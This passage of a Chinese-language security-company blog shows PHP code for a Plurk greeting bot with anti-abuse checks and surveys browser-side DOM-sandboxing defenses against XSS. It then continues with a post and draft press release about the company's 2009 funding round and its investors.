    if (!array_key_exists($results[1][5], $ip_set)) $ip_set[$results[1][5]] = $results[1][4];
  }
  
  if (!$error_log) {
    if (array_key_exists($id, $visitors_set)) {
      $last_time = strtotime($visitors_set[$id]);
      if ((time()-$last_time)<3600) {$errorlog="same id";}
    }
    if (array_key_exists($ip, $ip_set)) {
      $last_time = strtotime($ip_set[$ip]);
      if ((time()-$last_time)<3600) {$errorlog="same ip";}
    } 
  }
  // id to nick doesn't require loggin in, so I don't want to use RLPlurkAPI for this. Just make a quick call myself
  $json = new Services_JSON();
  $value = $json->decode(file_get_contents("http://www.plurk.com/Users/fetchUserInfo?user_id=".$id));

  if ($value->nick_name!=$nick) $errorlog="id nick mismatch";
  
  $fh = fopen($filename, 'a');
  $logstr= "[".$value->full_name."] [".$value->nick_name."] [".$value->display_name."] [".$id."] [".date("Y-m-d H:i:s")."]\n";
  fwrite($fh, $logstr);
  fclose($fh);
  $fh = fopen($filename2, 'a');
  $logstr = "User ".$value->full_name." (".$value->nick_name.") or (".$value->display_name.") visited user: ".$visitedwho." on ".date("Y-m-d H:i:s").", ".$errorlog."\n";
  fwrite($fh, $logstr);
  fclose($fh);
}

//below from php.net examples page
function read_file($file, $lines)
{
  $handle = fopen($file, "r");
  $linecounter = $lines;
  $pos = -2;
  $beginning = false;
  $text = array();
  while ($linecounter > 0) {
    $t = " ";
    while ($t != "\n") {
      if(fseek($handle, $pos, SEEK_END) == -1) {
        $beginning = true; 
        break;
      }
      $t = fgetc($handle);
      $pos --;
    }
    $linecounter --;
    if($beginning) rewind($handle);
    $text[$lines-$linecounter-1] = fgets($handle);
    if($beginning) break;
  }
  fclose ($handle);
  return $text; 
}

function get_my_password($nick, &$pass) {
  $accounts = parse_ini_file("log/accounts.ini");
  if (array_key_exists($nick, $accounts)) {
    $pass = $accounts[$nick]; return true;
  } else return false;
}

?></body></html>

（程式四）

主要程式為29行至41行，基本上就是利用Plurk API發一個噗，跟訪問者打招呼。其他程式主要是防止機器人被濫用。因為這個機器人是以我的名義噗，如果只是照著「http://553lab.org/plurk/hello.php?x=[user_id][nick_name]」來發：Welcome, nick_name，那麼別人直接hello.php?x=[][I'm an idiot]，發出來的噗就很好玩了。另外寫個script每一分鐘load一次hello.php，我就要一分鐘噗一次了。validate_user_then_log()含式主要就做這件事，機器人檢查：

1. referer要是www.plurk.com （22行，當然只能防君子）
2. id要跟nick對應，這是為何當出id與nick兩個參數都要傳給hello.php的原因（65-67行）
3. 同一個id來訪，每一個小時只噗一次（55-58行）
4. 同一個IP來訪，每一個小時只噗一次（59-63行）

這樣除非真的有人閒到註冊一個Plurk帳號，取一個nick代表他想讓機器人噗的訊息，例如帳號是「I_am_an_idiot」，那麼機器人就會噗：「Hello, @I_am_an_idiot!」。不會有人那麼有閒吧？結果就真的發生了 XDDDDDD

程式很快寫好了，自己玩了一下，確定可以work。發現我的PHP已經生鏽了，但是還是立刻email給Plurk。過了一天，Plurk修正了。是不是真的修對了？還沒時間仔細看，不過至少以上攻擊不會成功了。就這樣機器人就擺著沒動，我也忙別的去了。

星期六晚上，看到朋友留的msn，說我的plurk一直跟「XSS」打招呼，趕快上去看了一下：

咦，我的噗浪頁面人氣幾乎都是零，怎麼這個XSS對我那麼有興趣？忙完事情又過了幾個小時，回來一看，XSS註冊了一個I_know_Armorize_sucks，嗯嗯，好好...看一下XSS這個帳號，沒朋友，看不出是誰，這麼神秘，怎麼查呢...

其實不用啦，圈子就這麼點大，跟我一樣無聊，週末不出去玩掛在網路上，半夜不睡覺來我的噗浪，然後還很有閒註冊這樣的噗浪帳號...ao大與px大，你們好啊，歡迎大駕光臨~~ 不要把我的bot玩壞了 :)

[以DOM為基礎之沙盒]

當初測試完這個預存式XSS，腦袋就停不下來一直想DOM sandboxing，以及今年Robert Morris帶學生做的一篇論文：「Privacy-Preserving Browser-Side Scripting With BFlow」（Paper、投影片），今年四月發表於EuroSys'09（德國）。Robert Morris（rtm）的父親Robbert "Bob" Morris是美國國家安全局「國家電腦安全中心」之首席科學家。rtm於Cornell讀研究所時，釋放了Morris蠕蟲（Morris worm），為最早的蠕蟲之一，造成Internet癱瘓，他父親差點因此而丟了工作，當然rtm本身也被起訴，最後罰了一些錢以及社會服務。有趣的是，當時rtm是由MIT（麻省理工學院）而非自己就讀的Cornell網路來釋放蠕蟲，試圖混淆追中，而他目前則是MIT的教授，此篇論文是他帶學生在MIT做的。

從（程式二）中我們可以看到，Plurk是利用javascript動態地產生一個「link」元件，然後將role利用「rel」指定成「stylesheet」，將mime-type利用「type」設定成「text/css」，最後將css來源用「href」設定好，使用者的個人css就這樣被動態載入了。用javascript動態產生DOM元素的方法很多，譬如很多人喜歡用最簡單的doument.write()方式，但是用document.write()，就像是把字串連起來組成一個SQL指令一樣，沒有參數化的概念，即使有過濾，仍有風險。以資安的角度來看，Plurk的方式則含有參數化的概念，為較佳的建構方式。

可是我們仔細想想，Plurk用javascript建構此「link」元件時，就已經可以確定該元件不可以在css中接受expression或執行javascript。如果W3C的HTML Working Group或WHATWG讓HTML規格有支援（或瀏覽器開發團隊直接讓瀏覽器有支援）DOM sandboxing，那麼就可以很容易降低XSS的風險了。譬如我們可以簡單想像一下：

1. 每一個DOM元素都有一個attribute叫做「sandbox」，裡頭可以設多重限制，利用空白隔開，例如：


<link sandbox="disable_javascript" rel="..."...>

表示這個「link」元素不可以執行javascript，或甚至：


<script sandbox="disable_cookie_access">
... javascript code...
</script>

表示這段javascript不准許存取cookies。

2. 「sandbox」attribute，可以被javascript設定，但是每次設定只能增加限制，而不能放寬限制。

3. 子元素直接繼承母元素之「sandbox」attribute，並根據(2)，只能增加限制而不能檢少限制。

以上是我很快「想像一下」來的DOM sandboxing，不過大概就是這種概念。如果有這種支援，那麼Plurk可以將程式改成：


B = document.createElement("link"); 
B.setAttribute("sandbox", "disable_javascript");
B.setAttribute("rel", "stylesheet"); 
B.setAttribute("type", "text/css"); 
B.setAttribute("href", User_Supplied_Data);
document.getElementsByTagName("head")[0].appendChild(B);

（程式五）

這樣子的話，即使後端程式沒有過濾好，瀏覽器也將提供某種程度的XSS防禦。

DOM sandboxing一直有被提出，但是記憶中開始比較多人講，應該是2007年。學界中做Web研究，最好的會議之一是WWW，為ACM與W3C合辦，每年5月舉行（我們於'03與'04投上過兩次，兩次都被提名當年最佳論文）。WWW 2007有一篇令我印象深刻，馬大與AT&T合作的：「Defeating Script Injection Attacks with Browser Enforced Embedded Policies」，或稱BEEP（計畫網頁、paper、投影片）。BEEP提出了一個javascript hook的概念，利用javascript hook來檢查合法與非法的javascript，並決定何者可以執行。此模型並不漂亮，用javascript hook來描述表達一個網頁的安全模型，太過繁瑣，等於把很多工作加諸於Web程式設計師，這樣不但難用，風險也大。另外，此作法必須修改瀏覽器。雖然有這些缺點，BEEP卻是很早就提出DOM sandboxing概念，故有其參考性。

2007年我記得的另一篇，是Benjamin Livshits於2007年6月PLAS'07發表的「Using Web Application Construction Frameworks to Protect Against Code Injection Attacks」。Livshits是Stanford大學Monica Lam的博士班學生，拿到博士後加入微軟研究院。預存式提出的DOM sandboxing概念，在實做上可以利用修改既有的前端ajax framework來達成，而不需要修改瀏覽器；在實做上，Livshits是修改了dojo toolkit來示範。Livshits提的原理很簡單，延續javascript的相同來源政策（same origin policy），對於每一個DOM元素多定義一個attribute:「pricipal」，只有相同principal的元素才能彼此存取。這樣的sandboxing很好用，譬如可以定義網頁的廣告區不能存取其他區域以及cookie，但是缺點是描述表達能力有限。

以上這兩篇發表日期很接近，也都是很好的會議，算是2007年這方面研究的代表。兩篇都有引述我們於WWW 2004發表的源碼檢測技術WebSSARI，Livshits提到用源碼檢測來找出Web應用程式漏洞時，引述WebSSARI說：「The WebSSARI project pioneered this line of research（WebSSARI計畫開創出了這一系列的研究）」。最近很多競爭對手抹黑我們是：「不知哪裡冒出來的一群hackers」。對，我們是hackers沒錯，但是我們不是出師無門的hackers :)

另外2007年時當然不是只有學界在談 DOM sandboxing。其實2007年5月時，WHATWG的list上就已經蠻多關於DOM sandboxing的討論，RSnake就於也在8月時於其blog上寫了一篇：「Content Restrictions - A Call For Input」，徵求大家對於DOM sandboxing的意見，也引來廣泛的討論。

經過了兩年，回頭來看今年Robert Morris的「Privacy-Preserving Browser-Side Scripting With BFlow」（Paper、投影片），可以發現這方面研究進步了不少。BFlow的安全模型，是由瀏覽器動態地控管資料的流動，來避免資料被不當的取得。現在很多網頁都允許widget，這個模型就很適合，以下我們以Blogger為例。阿碼的blog就是放在Blogger上。Blogger允許在頁面上加入來自其他網站的widget，而BFlow的模型就可以限制這些widget對於資料的存取。例如以下，BFlow動態追蹤不同DOM元素間資料的存取與交換，如果一個外部widget沒有存取到被定義為機密的資料，那麼允許往外部網站發request（例如img），反之，則限制所有發出的request只能發給機密資料所屬的網站。

BFlow是由後端的網站程式對於每一份資料加註一個tag來定義其安全限制。如果兩個擁有不同tag的資料在client端被結合在一起呢？BFlow與WebSSARI一樣，採用1976年由Denning-Denning定義的lattice model，來決定結合後的新安全限制。

從剛才談到現在，我們自己提出了（程式五），也談了Livshits、BEEP以及Morris的解法。有趣的是，這四種解法，主旨都不在「過濾」或「偵測」惡意的字串，而在「限制」非法程式能執行的範圍。在以上四個例子中，惡意字串都還是會被插入合法程式中，或甚至被當成javascript執行，只是其範圍被限制住了，不能達成最終的目的，例如偷竊機密資料等行為。例如在（程式五）中，我們並沒有去判斷User_Supplied_Data所帶來的字串，是否含有惡意攻擊內容，我們只是利用程式模型配合參數化概念，限制了該DOM元素執行javascript之能力。（程式五）的解法看似漂亮，但是如果程式設計師的寫法是利用document.write()這種不帶任何參數化的概念來動態產生DOM元素，那麼又可以如何在client端避免XSS呢？今年2月的NDSS會議有兩個有趣的研究：Yacin提出的Document Structure Integrity: A Robust Basis for Cross-site Scripting Defense以及Gundy提出的「Noncespaces: Using Randomization to Enforce Information Flow Tracking and Thwart XSS Attacks」。Yacin提出的DSI（document structure integrity）其主要的概念是，先由後端伺服器程式決定DOM的合法動態與靜態結構，那麼在client端執行時，如果發現DOM結構不符合定義，就可以假設DOM結構被惡意破壞或惡意竄改了（ex: document.write()中含有tag <script>），而禁止執行。Gundy提出的Nonspaces，其實基本概念差不多，只是實做上不同，randomization的方式也不同--Nonspaces用xml namespaces，而DSI用randomized delimeters。

都是有創意的解法，而且一個會議竟然兩篇這麼相似，表示大家想法其實都差不多。看來蠻猛的嗎？概念不錯，但是很快都被破解了。上個月的Web 2.0 Security AND Privacy（W2SP）2009會議上，來自希臘的Athanasopoulos團隊發表了一篇：「Code Injection Attacks in Browsers Supporting Policies」，對上述的DSI、Noncespaces，連帶BEEP，都提出了具體破解的方法。Anthanasopoulos認為DOM沙盒之不可行，在於目前一個大型的網站中，DOM元素過多，要一一定義，並不容易，在執行面也有困難。他們提出的方法是將動態所產生的javascript做區隔，並限制其行為。該團隊目前正著手將其概念實做於firefox瀏覽器上。

討論了這麼多DOM沙盒與瀏覽器上之XSS預防，如果沒有講到最近Brendan Eich（Mozilla CTO）的演講，那就太可惜了。上個月的W2SP會議是由Eich開場的，題目是：「Improving JavaScript's Default Security Model Without Breaking the Web」（講義）。除了列出目前javascript安全的挑戰外，Brendan也概述了目前Mozilla對於這方面的努力--包含動態tainting方面的研究（困難點之一為如何讓保持interpreter的速度）。Brendan也提及了Mozilla在這方面的一個新計畫：FlowSafe，為Mozilla與Cormac Flanagan以及Michael Franz合作的計畫。咦？Flanagan？沒錯。Flanagan算是學界在靜態分析、源碼檢測與tainting分析上有名前輩（Java靜態分析工具ESC/Java就是他做的），這個計畫應該能有很實際的影響力。雖然Brendan在演講中並沒有特別提，但是會議後不久，他的同事Brandon Sterne，也就是Mozilla的Security Program Manager，寫了一篇blog「Shutting Down XSS with Content Security Policy」，介紹Mozilla的CSP計畫。

CSP採白名單方式，可以讓網站定義出合法的javascript有哪些，沒有在定義內的則視為非法。CSP在使用時，要求一個網頁所有的javascript都來自外部（<script src="">），而不可內嵌。由於所有javascript都來自外部，網站管理者就可以定義合法的來源，而瀏覽器會將其他來源視為非法。雖然這種要求與目前大部分人寫javascript的習慣大易其趣，但不論從FlowSafe或CSP中，都可以看出Mozilla在對付XSS上的努力。

「縱深防禦（layered security）」是一個有用的概念，資源許可下的多層防禦絕對有其投資報酬。談了這麼多client端對付XSS的方法，都只是補強程式設計者本身犯的錯誤。能在伺服器端就修掉的XSS漏洞，或能夠在程式中就直接避免的，應儘量先修掉。Client端的種種防禦技術，可以用來補強，或者在無法直接從後端修補的情況下採用。在我們許多大型網站的導入經驗中，漏洞的修復往往是整個專案中最複雜的部分之一。已經運行多時的既有系統，在找出漏洞後，往往面臨種種因素，而無法直接、直覺或用標準方式來修復。Web資安之難，在於攻擊變化之多；漏洞修補之美，亦於方法選擇之多。如何能夠最有效率並以最低成本幫對方把漏洞修復，不斷考驗著資安團隊的經驗與知識。

作者Wayne為阿碼科技一員
系列第一篇：（本篇）誰在看我的噗？第一回：DOM沙盒 vs 跨網站腳本漏洞（XSS）
系列第二篇：誰在看我的噗？第二回：IE執行模式 vs 跨網站腳本漏洞（XSS）
系列第三篇：誰在看我的噗？第三回：弔詭的過濾函式
系列第四篇：誰在看我的噗？第四回：我噗誰在看！

[No Tech] Skype創辦團隊投資阿碼科技

2009-06-18T01:54:00.018+08:00

今天阿碼的新聞在twitter上滿天飛--Skype創辦團隊投資阿碼，阿碼完成了第二次增資。最感謝的還是這麼多我們的客戶。你們的支持，給了我們無比的動力與信心；你們的建議，讓我們能不斷改進我們的產品與服務；你們每天使用我們的產品，讓我們感覺有用不完的精力，不斷改良、創新、往前衝；你們對我們的質疑，讓我們更了解自己的不足；與你們不斷互動的程，就是我們成長的心路。這次增資，好多人願意出來跟創投談你們的使用經驗，為我們背書。謝謝你們！我們會不斷地提升我們產品與服務的品質，來回報各位！

這次增資主要是為了加速拓展阿碼的國際業務，參與的投資人有阿碼既有投資人（美國為主）、Skype創辦團隊創投 Ambient Sound Investments（歐）、還有Birch Venture Capital（台灣）。下個月我們就將有來自歐洲非常資深的同事遷居台灣並加入我們，我們並將持續找尋技術與業務人才。

阿碼新聞稿：Armorize Technologies Secures Up-Round Series-B Financing
Skype創辦技術團隊之創投公司ASI新聞稿：Armorize Technologies Secures Financing For Worldwide Business Development
TechCrunch（全球最受歡迎科技部落格）報導：Armorize Lands More Funding For Web App Security Technology
更多新聞：路透社、Yahoo Finance、道瓊、USA Today、Tech Startups

[創業過的投資人]

Skype在wikipedia上的定義中說：「Skype是由愛沙尼亞的工程師Ahti Heinla、Priit Kasesalu、Jaan Tallinn所寫的」("Skype was written by Estonia-based developers Ahti Heinla, Priit Kasesalu and Jaan Tallinn")。其實這三位的的leader，是Toivo Annus，也是愛沙尼亞人。這四位以當初eBay併購Skype時他們所賺的錢，成立了Ambient Sound Investments，為創投公司，專門投資以技術為核心的新創公司。目前除了Toivo離開Skype外，其他三位仍在Skype擔任重要工作。

對於阿碼來說，ASI是難得的好投資人，因為ASI是由軟體創業家所成立的創投公司，帶給阿碼的，絕不僅是資金上的幫助而已。就如我們董事長Jim Sha，也是軟體界的創業前輩，一路走來我們跟他學到太多了。認識ASI，是資策會中負責「Connect Taiwan」與「Bridge Program」的Camilliam Lin一手促成的，在這邊我們非常感謝資策會許許多多幫助過我們的長官；不論是技服中心各位長官在資安技術與管理面的各種指導，或是產支處在產業面的協助推動，或我們辦公室所在的--資策會創研所的南軟育成中心--所辦的種種活動，阿碼都受益良多，謝謝你們！同時也謝謝AirDio（ASI投資的第一個台灣公司）的CEO Wen所給的各種幫忙。

幾個月前Toivo來台北看我們公司，才跟他聊半小時，我當時就打定主意，這家創投是很好的創投，他們的錢我們希望拿。Toivo穿著牛仔夾克，牛仔褲，與布鞋，有些偭腆，有些嚴肅，但是對技術、產品與公司營運的敏銳度非常的高，問題直接又快速，回答一句，得到他想要的答案，立刻問下個問題，一句多的話都沒有。聊了十分鐘，我發現他開始喜歡我們了，話題也多了。Toivo說他對資安不是非常專精，但是分享了一些他在Skype其間遇到的資安問題，大部分都是與路徑有關，也讓我增加了見聞。看到我們公司這麼多年輕的工程師，也很多歐洲人，「聘人很辛苦吧？Skype的前面兩百多個工程師，都是我自己面試挑選的，」他得意的說。「你們都如何面試工程師的？」真是好問題，我正要回答時，沒想到一旁的德籍工頭Chris搶著說了許多他的經驗，也讓Toivo頻頻點頭。

新創公司聘人，很難，好的人才不容易找。也許我們在資安圈蠻有名的，可是公司不僅需要資安人才，還需要很多的軟體工程師跟其他各種人才。小公司，沒有名，我們公司的工程師大家實力都好，學歷也好，大可以去半導體大廠，或大的外商，為何要來「阿碼」？阿碼是什麼公司？阿媽開的嗎？對於父母來說，也是頭大的問題，我的小孩書念了這麼久，明明就可以去大半導體廠，鴻海、宏碁、聯電、台積電、宏達電、Google、微軟、IBM，講起來多好聽，現在選擇去「阿碼」，每次碰到鄰居與親戚朋友，就要說我小孩在「阿碼」...「阿碼」是什麼公司？

對外國同事也很難。突然之間，孩子說要搬到台灣去加入創業團隊。台灣在哪裡？沒去過。會不會有戰爭？不知道。會不會以後媳婦是黑頭髮的台灣人？很有可能。多久可以回家一次？國內這麼多好的公司，一定要去台灣嗎？...

但是如果會運用，創業團隊也有其無比的優勢。公司不大，大家都很重要，接觸得多，學得也多。公司沒有太多政治問題，做起事來很快，靈感，創意，想法，都很容易發揮；大家都是公司重要的一份子，公司怎麼走，就看大家要公司怎麼走，大家自己做決定，自己負責，時間花在創意，創新，研發，挑戰，而不用花在政治與官僚，這對很多實力好的人才來說，會具有很高的吸引力，不用再被惡劣的老闆管，不用再擔心背後挨刀，不用再為了理想被埋沒而痛苦，不用每做一件事都要考慮那麼多政治因素，可以放手去發揮，大家一起打拼，這些對人才來說，會比什麼都來得有吸引力！

聊得很愉快，一下子時間過了，會議要結束了，但是我們也確定，ASI如果投資，會帶給我們很多其他方面的幫助；他們成立Skype並一路把公司做得這麼好，我們遇到的許多挑戰，他們都遇過了，可以給我們許多幫助。創業家作投資人，跟純金融的投資人，會很不一樣。公司創立的艱苦過程，他們都經歷過，在各方面不但能提供很好的經驗，對於許多困難也很能夠體會，把自己當作團隊的一份子，而不是劃清界限，他們是投資人，你們是團隊。事實上，阿碼第一次募資時的投資人，也大部分是創業家，從我們董事長沙正治先生（Jim），到邱俊邦先生與翁家盛先生，到New Venture Club的Tim Koogle（Yahoo!前CEO與目前副董事長），Dennis Coleman（賽門鐵克創辦人），Bill Coleman（BEA Systems創辦人與前董事長兼CEO），Mike Markula（Apple前CEO與第一位投資人）等，都是當過創業家的投資人。其中團隊最感謝的，還是董事長，因為董事長最肯花時間與我們互動，現在想起來，大大小小事情都找他討論，他那時一定覺得我們很煩，花他很多時間。阿碼公司文化，很多都是他直接影響而建立的。

ASI審一個案子，異常的仔細，公司幾乎所有文件都要翻過一次，檢查了又檢查，財報當然更是不用說。在技術的審查上，Toivo與Ahti自己跳下來玩我們的產品，了解我們跟對手的差別。一天晚上九點半，我在大潤發買東西，手機響了，接起來，原來是Ahti，Ahti說他看完我們的產品有問題要問我，我說好，可否過20分鐘？他說直接問就好，很快。於是在我買完結帳的過程中，回答完他所有的問題，Ahti人很好，做事也很快，那通電話完，我感覺他們會投資，而且會是很好的投資人。電話快結束時我跟Ahti說，不論他有沒有投資，我都很高興有機會跟他們認識。Skype就是他們幾個創出來的，卻改變了大家的生活，尤其愛沙尼亞就像台灣一樣，並不是很大一個地方，卻能做出國際級的軟體，我對他們有很多respect。

[長期的互信關係]

有時，投資人跟團隊的關係，如果不要太計較眼前的利益，往往可以走得很長久，達到雙營的局面。這次增資的投資人還包過Birch Venture Capital，是一家由吳廣義先生（Max）與黃家哲先生（Terry）所創立的創投公司。Max看我們，看了四年了。我們第一次募資時，先去找他，也就是他介紹我們認識董事長Jim的。我永遠記得，當我們決定第一次募資只邀請創業家天使投資人時，團隊中緊張的氣氛。該如何跟Max說，先不邀請他們呢？Jim就是他介紹的，這真的說不過去，但是還是要面對。於是幾個人鼓起勇氣，在Max的會議室中，低著頭把我們的想法表達了，為何我們覺得第一次先只邀請個人投資人，雖然這些人很多都是Max介紹我們認識的。說不緊張是騙人的，Max說他不會生氣，我們也知道是客氣話。如果Max願意自己投資，那我們當然會很高興，但是那時Max代表的是創投公司，而我們只想找個人投資。

公司做了幾年，非常成功，等到要第二次增資時，我們直接想到的，就是Max。事隔三年多，大家又見面了，結果我們發現Max不但不怪我們了，還完整記得我們三年前報告的資料，對我們產業也很了解，讓我們好不驚訝。我們說，三年多了，我們當時宣稱可以做到的，也都做到了，如果Max還願意支持我們，那我們覺得現在是邀請創投的時機了。就這樣，Max現在也是我們的董事了。Max之前在宏碁服務了超過20年，並於1993至2000年擔任宏碁美國的president，實務經驗非常多，在這陣子的互動中，我們已經跟他學了不少。Terry也幫我們建立了更好的制度，讓我們會往後的成長，做好了充足準備。

投資人與團隊之間，當然利益不全然一樣，但是如果雙方不要太過計較，可以走很長的路。

[開放源碼與成立公司]

為何成立阿碼，沒有選擇開放源碼？這個問題很多人問。我們那時的研究成果很好，而且大家一起工作做得很愉快，也有很好的感情。但是如果要繼續一起工作，必須要有個辦法。另一方面，我們的技術領先對手很多，並且不容易被追上，對於產品化，我們很有信心。其實是前一個理由比較重要。大家要過生活，還是要賺錢。如果我們都有存款可以生活，我們會自己做自己想做的事，軟體也會是開放源碼的，讓大家來免費使用。當然有一天我們存夠錢了，這種生活就能實現。但是目前，生活是現實的，大家雖然感情很好，但是總不能沒飯吃，要一起能繼續走下去，必須成立公司，建立穩定的商業模式。很多人覺得我是工作與興趣結合，其實我是分開的。如果單純興趣，我一樣會做資安研究，但是會以開放源碼為主，並且不需有很多商業上的考量（例如很多技術都不公開等等）。既然是工作，穩定的獲利就是非常重要的目標之一，尤其公司這麼大，我們對於公司的同事，他們的家人，我們的投資人，甚至以後出來募資的年輕人，都有責任；大家都有家庭父母小孩要照顧。長久來說，存夠錢後，能夠更專注於自己愛做的事情，擺脫商業的考量，做自己喜歡的研究（不一定是Web資安），是我們一直的夢想，但是以目前來說，把公司做好，把客戶照顧好，獲利穩定，成長快速，是我們最重要的目標。

我記得四年前，Chris辭掉微軟的工作，搬來台灣，就住在公司旁邊，Walter也搬過來，住他樓上。有天他自己做了晚餐，請我們去，我吃素，大家跟我吃，Chris本來也不喝酒。我們拿起飲料乾杯時，心裡感受很難形容。大家一路這麼要好，也出生入死那麼多次，但是真的現在Chris德國工作辭了，房子退了，Matt美國Atheros工作辭了，Walter / Benson也都辭了工作--好大的壓力，以前沒感覺過--我們真能成功嗎？我會不會對不起大家？想到以前，出論文都感覺在賭命，第一篇投稿的那晚，好幾天沒睡了，Walter打來，Wayne，數據都做好了，但是我剛才去廁所完，發現身體出狀況，我現在去醫院。之後就聯絡不到了，手機家裡都沒人接。嚇死了，第二天早上打給他父親，麻煩他去Walter房間看看。結果他說Walter沒事，睡死了而已。第二年，也是投稿前幾天，Walter人在美國出差，半夜幫我做，太累個感冒，沒空去醫院，自己買了藥吃。終於準備投稿了，Walter打來，Wayne，資料都沒問題，確認過了，但是我有問題，藥吃太多，心臟亂跳，我打911，他們到了，說必須送去醫院，先這樣。

其他太多講不完了，現在的團隊真的很好，延續了我們一向的文化，大家一起努力，感覺很棒。雖然每一次release，每一個新功能都那麼的辛苦，每一次出差也沒輕鬆過，但是我們成績一直出來，謝謝各位的努力，我們一起繼續加油！
（左：OWASP 2007於eBay，隔天要展示但是機器坐飛機後壞掉了，修了整個晚上，Kuon抱著電腦睡著了）
（右：RSA 2009於舊金山，兩年後了，還是一樣，我才把行李放好，客廳就變成行動辦公室了）

[團隊的努力]

最後要感謝的，是每天為阿碼一起打拼的同事們--大家真的太辛苦了！但是我們的辛苦，獲得了投資人的肯定，在金融風暴後，資安乾枯，創業公司接二連三倒閉，大公司不斷裁員的情況下，這次我們不但成功完成增資，有來自美國、歐洲與亞洲的創投參與，更是一次 up round，股價獲得了實質的增加，這是對各位最實際的肯定。阿碼成立到現在快四年了，只有過一位助理因個人因素主動離開，謝謝你們對公司的信心，以及對這個工作環境的肯定。你們有些人，早在阿碼之前，早在我們都還是學生時，就跟我一起工作，大家已經出生入死很多次了；謝謝你們一路跟我一起努力，這中間的血淚與磨練，是我最珍惜的經驗；有些人離鄉背井，離開家人與朋友，來到陌生的台灣，住在公司旁邊，只因為我堅持技術留在台灣；你們忙得連重要假日也沒法回家，變成你們父母從世界各地來台灣看你們，算一算已經有六對父母來台灣探望了，每次看到假日你們都在公司，雖然你們說反正沒地方去，但是我心裡都覺得很內咎；有些人放棄了大公司，出過唸書機會，甚至是主編，是CEO，也就這樣放棄了，來到阿碼扛起責任，我有時想想不知你們如何做到的；有些人本身也是創業家，帶著公司與阿碼合併，努力地讓我們產品線更豐富。你們大家都是我心目中的英雄，謝謝你們，跟你們工作，也讓我學到很多。出生入死，有血有淚，但是每天都很愉快，謝謝你們的努力！

我們既有的投資人，尤其是董事長，一路花了非常多的時間帶領我們，這次增資也義不容辭的支持我們，團隊裡所有的人，都會永遠記得的。金融風暴後，大部分要增資的新創公司，根本找不到資金，更不用期待股價之上漲（up round）。可是這次與董事長的互動，就如當時第一次增資時一樣，沒有多少話，就談完了條件，股價的增加，是董事長自己提的，一句話，口頭的承諾，整個過程就沒有再變過，在投資圈裡頭，這簡直不可思議。但是你們的決定是對的，因為團隊都知道我們擁有最好的投資人，我們感謝各投資人的支持，而也絕對不會讓各位失望的。

[台灣的資安產業]

Skype的大部分程式，是愛沙尼亞的工程師們寫出來的，經過資策會的安排，ASI也遠從愛沙尼亞投資了阿碼。根據新搜尋引擎WolframAlpha，兩地的面積不會差很多，台灣有兩千三百萬人，愛沙尼亞投有一百三十萬人。台灣雖然小，但是我們有許多國際知名的品牌，譬如宏碁，華碩，鴻海，台達電，聯電，台積電，D-Link，Zyxel等等，都是我們的驕傲。可是多年前我從交大資工碩士班畢業時，真是不知該怎麼找工作。我從小就寫軟體，我想進入軟體公司，但是在台灣，似乎很少。硬體畢竟算是製造業，資本主義下，產業要有競爭力，為了降低成本，產業外移是必然的；美國的就業問題根源在此，台灣也將面臨同樣的問題。當我們生活一直提升的同時，工資也必然提升，要一直保持在製造方面的競爭力，談何容易。

產業外移不見得是問題，只要一直能找到新的東西做就好。美國矽谷很早就不做製造了，但是他們開發了軟體產業。現在矽谷紅的公司，Google、微軟、Apple、eBay、Amazon、Salesforce、Facebook，這些都是軟體公司。IBM賣掉了筆電與其他事業體，成功由硬體公司轉型成軟體與服務的公司，HP也一直在努力。台灣能有這麼好的硬體品牌，也有好的軟體人才，沒有理由不能有好的軟體產業。軟體產業不像硬體，需要龐大的成本，要建廠房，要物料，要庫存；軟體只需要建立良好的公司文化與環境，把優秀並對軟體有熱忱的人才聚集在一起，就快成功一半了。

去年去RSA，印象深刻的是德國館，德國政府出錢，帶所有廠商來美國參展；今年德國從一個館擴展成三館，新加坡也第一次做了新加坡館。以色列也不大，但是資安產業做得有聲有色，美國客戶對於境外的資安產品都比較保留，但唯獨以色列產品例外。愛沙尼亞的人口只有我們二十分之一，但是可以做出像Skype這麼成功的軟體公司，為何我們不能？

因為我們全球經銷伙伴多，消息比較靈通，最近一個趨勢，發覺越來越多伙伴代理了韓國的產品，不論是軟體工具，或資料庫，或資安產品，感覺韓國已經走出來了，過不久，可能會有品牌像LG、Samsung一樣成功。希望經濟部以及台灣其他長官，能夠更支持台灣的軟體產業。曾經跟一些長官也有機會聊了不少，但是感覺對於我們的資安產業能打出國際品牌方面，都還是比較保留。這不是能不能的問題，我們其實已經做到了。趨勢科技就是台灣的公司，但是是全球前幾大的資安廠商。台灣還有阿碼，威播，精品，中華數位，中華龍網，居易，都是外銷成功的廠商。

軟體產業靠的是腦力，不是靠勞力，污染低，低成本，根本不需要多大的資本額（房租，薪水，電腦，能花多少錢？），只要有人才，就能創造出好的產品，別人要追上也不容易。希望政府能對這個產業更有信心些！

（新加坡今年第一次有國家館：「Infocomm Singapore Pavilian」）

（德國今年RSA有三個館，標語「IT Security Made in Germany」令人印象深刻）

作者 Wayne 為阿碼科技一員

[新聞稿]

以下是新聞稿草稿，團隊還沒正式發出：

Armorize Technologies（阿碼科技）完成股權增值融資案
2009.06.16 美國矽谷聖克拉拉市

所得的資金將會運用在全球商務的拓展上

網站應用程式安全領導廠商Armorize Technologies已完成最新的股權增值融資案，其中最重要的投資者包括總部設在歐洲由研發Skype的工程團隊所組成的創投公司Ambient Sound Investments（ASI），以亞太為基礎的旭樺管理顧問股份有限公司（Birch Venture Capital），以及以沙正治先生為首有參與阿碼第一次融資的矽谷投資人，這次融資案的款項將會被用於商業研發及拓展全球業務上，部份的金額會用來投資台灣子公司，金額將會超過一億兩千萬台幣。

阿碼的技術及企業理念得到投資人強力的背書

新資金的取得證明了Armorize在網站應用程式安全技術方面具領先地位。Armorize是網頁應用程式原始碼分析的先驅者，並透過SaaS的服務來對惡意程式進行辨識及監控，”我們很高興的看到投資人以行動來對我們表示支持，我們也非常有信心，網頁應用程式帶來了很多安全方面的課題，但Armorize提供了一套先進的自動化工具來解決這方面問題。這次融資完成，代表投資人對我們的技術及企業理念的贊同。”Armorize執行長黃耀文說。

“Armorize是一群具有高度技術能量的團隊，並研發了具專利性的原始碼漏洞分析解決方案。我們相信Armorize在網頁應用程式安全方面整體的表現，將會使他們在國際市場上具領先的地位”ASI的私募股權基金主席（head of private equity investments）Margus Uudam說。

Web 2.0 驅使網站應用安全產業成長

這次的投資顯示網站應用安全將受到重視。隨著Web 2.0的發展。企業或個人在日益繁複的程式設計及開發中，使得惡意程式更容易透過網站的漏洞來攻擊，各產業已經正視到這點。而Armorize建立了完整的解決方案，能夠在系統發展生命週期（SDLC）的各個階段強化網頁應用程式的安全性

